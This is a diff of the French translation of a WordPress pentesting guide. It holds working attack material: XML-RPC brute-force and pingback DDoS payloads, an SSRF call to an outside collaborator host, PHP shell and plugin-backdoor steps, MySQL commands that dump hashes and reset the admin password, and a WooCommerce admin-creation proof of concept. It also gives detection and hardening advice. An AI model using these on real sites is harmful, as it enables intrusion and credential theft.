- **Auteur** : Publie et gère ses propres posts
|
||||
- **Contributeur** : Rédige et gère ses posts mais ne peut pas les publier
|
||||
- **Abonné** : Parcourt les posts et modifie son profil
|
||||
|
||||
## **Enumération passive**
|
||||
## **Énumération passive**
|
||||
|
||||
### **Obtenir la version de WordPress**
|
||||
|
||||
Vérifiez si vous pouvez trouver les fichiers `/license.txt` ou `/readme.html`
|
||||
|
||||
Dans le **code source** de la page (exemple de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
|
||||
Dans le **code source** de la page (exemple depuis [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)) :
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- fichiers CSS liés
|
||||
- Fichiers de liens CSS
|
||||
|
||||
.png>)
|
||||
|
||||
- fichiers JavaScript
|
||||
- Fichiers JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
@ -68,7 +68,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Obtenir les thèmes
|
||||
### Récupérer les thèmes
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Énumération active
|
||||
|
||||
### Plugins et thèmes
|
||||
### Plugins and Themes
|
||||
|
||||
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour tous les découvrir, vous devrez **activement Brute Force une liste de plugins et thèmes** (avec un peu de chance, il existe des outils automatisés qui contiennent ces listes).
|
||||
Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour en découvrir la totalité, vous devrez **actively Brute Force a list of Plugins and Themes** (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
|
||||
|
||||
### Utilisateurs
|
||||
### Users
|
||||
|
||||
- **ID Brute:** Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
|
||||
```bash
|
||||
@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Si les réponses sont **200** ou **30X**, cela signifie que l'id est **valide**. Si la réponse est **400**, alors l'id est **invalide**.
|
||||
|
||||
- **wp-json:** Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
|
||||
- **wp-json:** Vous pouvez également tenter d'obtenir des informations sur les utilisateurs en interrogeant :
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -99,17 +99,17 @@ Un autre endpoint `/wp-json/` qui peut révéler certaines informations sur les
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Seules les informations sur les utilisateurs qui ont activé cette fonctionnalité seront fournies**.
|
||||
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. **Seules les informations concernant les utilisateurs qui ont activé cette fonctionnalité seront fournies**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Notez aussi que **/wp-json/wp/v2/pages** peut leak des adresses IP.
|
||||
|
||||
- **Login username enumeration**: Lors de la connexion sur **`/wp-login.php`**, le **message** est **différent** selon que le **nom d'utilisateur existe ou non**.
|
||||
- **Login username enumeration**: Lors de la connexion via **`/wp-login.php`**, le **message** est **différent**, indiquant si le **username** existe ou non.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS contre d'autres ressources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Si `xml-rpc.php` est actif, vous pouvez effectuer un credentials brute-force ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Pour vérifier s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cette requête :
|
||||
|
||||
**Vérifier**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force credentials. Si vous en trouvez, vous pouvez envoyer quelque chose comme :
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** sont quelques-unes des méthodes qui peuvent être utilisées pour effectuer un brute-force des credentials. Si vous parvenez à en trouver une, vous pouvez envoyer quelque chose comme :
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Le message _"Incorrect username or password"_ dans une réponse 200 doit apparaître si les identifiants ne sont pas valides.
|
||||
Le message _"Incorrect username or password"_ dans une réponse avec code 200 doit s'afficher si les identifiants ne sont pas valides.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
En utilisant les bons identifiants, vous pouvez téléverser un fichier. Dans la réponse, le chemin apparaîtra ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ En utilisant les bons identifiants, vous pouvez télécharger un fichier. Dans l
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Il existe aussi une façon **plus rapide** de brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête :
|
||||
Il existe aussi une manière **plus rapide** de brute-force des credentials en utilisant **`system.multicall`**, car vous pouvez essayer plusieurs credentials dans la même requête :
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'entrée principale est protégée par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions possibles via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Cette méthode est destinée aux programmes et non aux humains, et est ancienne ; par conséquent elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand même parvenir à une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
Cela peut être utilisé pour demander à **des milliers** de sites **Wordpress** d'**accéder** à une même **cible** (provoquant ainsi un **DDoS** sur cette cible) ou vous pouvez l'utiliser pour faire **Wordpress** **scanner** un **réseau** interne (vous pouvez indiquer n'importe quel port).
|
||||
Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
|
||||
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** au même **emplacement** (provoquant ainsi un **DDoS** sur cette cible) ou vous pouvez l'utiliser pour faire **Wordpress** **scan** un **network** interne (vous pouvez indiquer n'importe quel port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Cela peut être utilisé pour demander à **des milliers** de sites **Wordpress*
|
||||
|
||||
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
|
||||
|
||||
Regardez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
|
||||
Consultez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Regardez l'utilisation de **`system.multicall`** dans la section précédente po
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\
|
||||
Quand ce fichier est **accédé**, une requête MySQL **"lourde"** est effectuée, il peut donc être utilisé par des **attaquants** pour **provoquer** un **DoS**.\
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui peut poser des problèmes (DoS) sur des sites à fort trafic.
|
||||
Ce fichier se trouve généralement à la racine du site Wordpress : **`/wp-cron.php`**\
|
||||
Quand ce fichier est **accessed** une requête MySQL **"heavy"** est exécutée, donc il peut être utilisé par des **attackers** pour **cause** un **DoS**.\
|
||||
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut poser des problèmes (DoS).
|
||||
|
||||
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui exécute les actions nécessaires à intervalles réguliers (sans causer de problèmes).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut effectuer une requête vers vous.
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut effectuer une requête vers vous.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Cet outil vérifie l'existence du **methodName: pingback.ping** et du chemin **/wp-json/oembed/1.0/proxy**, et, si présents, tente un exploit.
|
||||
Cet outil vérifie si le **methodName: pingback.ping** existe et si le chemin **/wp-json/oembed/1.0/proxy** est présent ; si c'est le cas, il tente de les exploiter.
|
||||
|
||||
## Outils automatiques
|
||||
```bash
|
||||
@ -238,38 +238,38 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Obtenir l'accès en modifiant un bit
|
||||
## Obtenir l'accès en écrasant un bit
|
||||
|
||||
Plus qu'une véritable attaque, il s'agit d'une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] vous pouviez basculer 1 bit dans n'importe quel fichier wordpress. Ainsi, vous pouviez modifier la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour remplacer l'opération NOT (`!`) par un NOP.
|
||||
Plutôt qu'une vraie attaque, il s'agit d'une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser un bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour transformer l'opération NOT (`!`) en NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panneau RCE**
|
||||
|
||||
**Modification d'un php du thème utilisé (identifiants admin nécessaires)**
|
||||
**Modifier un php du thème utilisé (identifiants admin nécessaires)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (à droite)
|
||||
Apparence → Éditeur de thème → Modèle 404 (à droite)
|
||||
|
||||
Remplacez le contenu par un php shell:
|
||||
Remplacez le contenu par un shell php :
|
||||
|
||||
.png>)
|
||||
|
||||
Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
Vous pouvez utiliser:
|
||||
Vous pouvez utiliser :
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
pour obtenir une session.
|
||||
to get a session.
|
||||
|
||||
## RCE par plugin
|
||||
## Plugin RCE
|
||||
|
||||
### Plugin PHP
|
||||
### PHP plugin
|
||||
|
||||
Il peut être possible d'upload des fichiers .php en tant que plugin.
|
||||
Il peut être possible de téléverser des fichiers .php en tant que plugin.\
|
||||
Créez votre php backdoor en utilisant par exemple :
|
||||
|
||||
.png>)
|
||||
@ -278,52 +278,52 @@ Puis ajoutez un nouveau plugin :
|
||||
|
||||
.png>)
|
||||
|
||||
Upload du plugin et cliquez sur Install Now :
|
||||
Téléversez le plugin et appuyez sur Install Now :
|
||||
|
||||
.png>)
|
||||
|
||||
Cliquez sur Procced :
|
||||
Cliquez sur Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probablement cela ne fera apparemment rien, mais si vous allez dans Media, vous verrez votre shell uploadé :
|
||||
Probablement cela n'agira apparemment pas, mais si vous allez dans Media, vous verrez votre shell téléversé :
|
||||
|
||||
.png>)
|
||||
|
||||
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
|
||||
Accédez-y et vous verrez l'URL pour exécuter la reverse shell :
|
||||
|
||||
.png>)
|
||||
|
||||
### Upload et activation d'un plugin malveillant
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Cette méthode consiste à installer un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus s'effectue via le tableau de bord WordPress comme suit :
|
||||
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus s'effectue via le tableau de bord WordPress comme suit :
|
||||
|
||||
1. **Plugin Acquisition** : Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation** :
|
||||
1. **Acquisition du plugin** : Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installation du plugin** :
|
||||
- Allez dans le tableau de bord WordPress, puis `Dashboard > Plugins > Upload Plugin`.
|
||||
- Téléversez le fichier zip du plugin téléchargé.
|
||||
3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
|
||||
4. **Exploitation** :
|
||||
- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
|
||||
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
|
||||
- Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
|
||||
|
||||
Le contenu inclut des aides visuelles montrant les étapes dans le tableau de bord WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un cadre légal, tel que le pentesting avec permission explicite.
|
||||
Le contenu inclut des aides visuelles montrant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette façon est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, tel que penetration testing avec permission explicite.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## De XSS à RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** en **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos consultez [**cet article**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
|
||||
- _**Élévation de privilèges :**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Upload de plugin personnalisé (backdoor) :**_ Téléversez votre plugin personnalisé (backdoor) sur WordPress.
|
||||
- _**(RCE) Édition d'un plugin intégré :**_ Modifie un plugin intégré dans WordPress.
|
||||
- _**(RCE) Édition d'un thème intégré :**_ Modifie un thème intégré dans WordPress.
|
||||
- _**(Custom) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** vers une **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**cet article**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il offre **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
|
||||
- _**Privilege Escalation:**_ Crée un utilisateur dans WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Téléversez votre plugin personnalisé (backdoor) dans WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifie les plugins intégrés dans WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifie les thèmes intégrés dans WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extraire les noms d'utilisateur et mots de passe :
|
||||
Extraire les noms d'utilisateur et les mots de passe :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -331,29 +331,29 @@ Changer le mot de passe admin :
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Pentest des plugins Wordpress
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Surface d'attaque
|
||||
|
||||
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points ci‑dessous et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans celles-ci. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Une des manières dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **n'importe quel utilisateur authentifié dans l'instance Wordpress pourrait posséder** (indépendamment de son rôle).
|
||||
Une des manières dont un plugin peut exposer des fonctions aux utilisateurs est via des handlers AJAX. Ceux-ci peuvent contenir des bugs de logique, d'authorization, ou d'authentication. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentication et l'authorization sur l'existence d'un Wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress pourrait posséder** (indépendamment de son rôle).
|
||||
|
||||
Ces sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin:
|
||||
Ce sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'utilisation de `nopriv` rend l'endpoint accessible par tous les utilisateurs (même les utilisateurs non authentifiés).**
|
||||
**L'utilisation de `nopriv` rend l'endpoint accessible à n'importe quel utilisateur (même non authentifié).**
|
||||
|
||||
> [!CAUTION]
|
||||
> De plus, si la fonction se contente de vérifier l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette fonction vérifie uniquement que l'utilisateur est connecté — elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs peu privilégiés pourraient avoir accès à des actions réservées aux utilisateurs à privilèges élevés.
|
||||
> De plus, si la fonction ne vérifie l'autorisation de l'utilisateur qu'avec la fonction `wp_verify_nonce`, cette fonction vérifie seulement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs peu privilégiés pourraient accéder à des actions à privilèges élevés.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API via la fonction `register_rest_route` :
|
||||
Il est également possible d'exposer des fonctions de wordpress en enregistrant une rest AP à l'aide de la fonction `register_rest_route` :
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,19 +365,19 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
Le `permission_callback` est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
|
||||
|
||||
**Si la fonction intégrée `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.**
|
||||
**Si la fonction interne `__return_true` est utilisée, elle contournera simplement la vérification des permissions utilisateur.**
|
||||
|
||||
- **Accès direct au fichier PHP**
|
||||
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Ainsi, si un plugin expose une fonctionnalité vulnérable qui se déclenche simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur.
|
||||
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Certains plugins implémentent des raccourcis “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent ce header pour définir le contexte utilisateur courant pour les requêtes REST. Si ce header n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et appeler des routes REST privilégiées en tant qu'administrateur.
|
||||
Certains plugins implémentent des raccourcis de “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et accéder aux routes REST privilégiées en tant qu'administrateur.
|
||||
|
||||
- Impact : unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
- Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, généralement le premier compte administrateur).
|
||||
- Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -391,38 +391,38 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
Pourquoi ça fonctionne
|
||||
|
||||
- Le plugin mappe un en-tête contrôlé par le client sur l'état d'authentification et saute les vérifications de capacité.
|
||||
- Le core WordPress s'attend à la capability `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte de l'utilisateur courant depuis l'en-tête.
|
||||
- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les vérifications de capability.
|
||||
- WordPress core attend la capability `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte du current user depuis le header.
|
||||
|
||||
Expected success indicators
|
||||
Indicateurs de succès attendus
|
||||
|
||||
- HTTP 201 avec un corps JSON décrivant l'utilisateur créé.
|
||||
- Un nouvel utilisateur admin visible dans `wp-admin/users.php`.
|
||||
- Un nouvel admin visible dans `wp-admin/users.php`.
|
||||
|
||||
Detection checklist
|
||||
Checklist de détection
|
||||
|
||||
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des en-têtes personnalisés pour définir le contexte utilisateur (par ex., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de vérifications `permission_callback` robustes et qui se fient plutôt aux en-têtes de la requête.
|
||||
- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) dans des handlers REST qui sont protégés seulement par des valeurs d'en-tête.
|
||||
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revoir les enregistrements REST pour des callbacks privilégiés qui manquent de vérifications robustes `permission_callback` et qui comptent à la place sur des headers de requête.
|
||||
- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur des handlers REST qui ne sont protégés que par la valeur d'un header.
|
||||
|
||||
Hardening
|
||||
Renforcement
|
||||
|
||||
- Ne jamais dériver l'authentification ou l'autorisation d'en-têtes contrôlés par le client.
|
||||
- Si un reverse proxy doit injecter une identité, terminer la confiance au niveau du proxy et supprimer les copies entrantes (par ex., `unset X-Wcpay-Platform-Checkout-User` à la périphérie), puis passer un token signé et le vérifier côté serveur.
|
||||
- Pour les routes REST effectuant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (NE PAS utiliser `__return_true`).
|
||||
- Préférer l'auth première-partie (cookies, application passwords, OAuth) plutôt que l'usurpation d'identité via en-tête.
|
||||
- Ne jamais déduire l'authentification ou l'autorisation à partir de headers contrôlés par le client.
|
||||
- Si un reverse proxy doit injecter l'identité, terminer la confiance au proxy et supprimer les copies entrantes (par ex. `unset X-Wcpay-Platform-Checkout-User` en bordure), puis passer un token signé et le vérifier côté serveur.
|
||||
- Pour les routes REST exécutant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (NE PAS utiliser `__return_true`).
|
||||
- Préférer l'auth first-party (cookies, application passwords, OAuth) plutôt que l'« impersonation » via headers.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
References : voir les liens à la fin de cette page pour un cas public et une analyse plus large.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
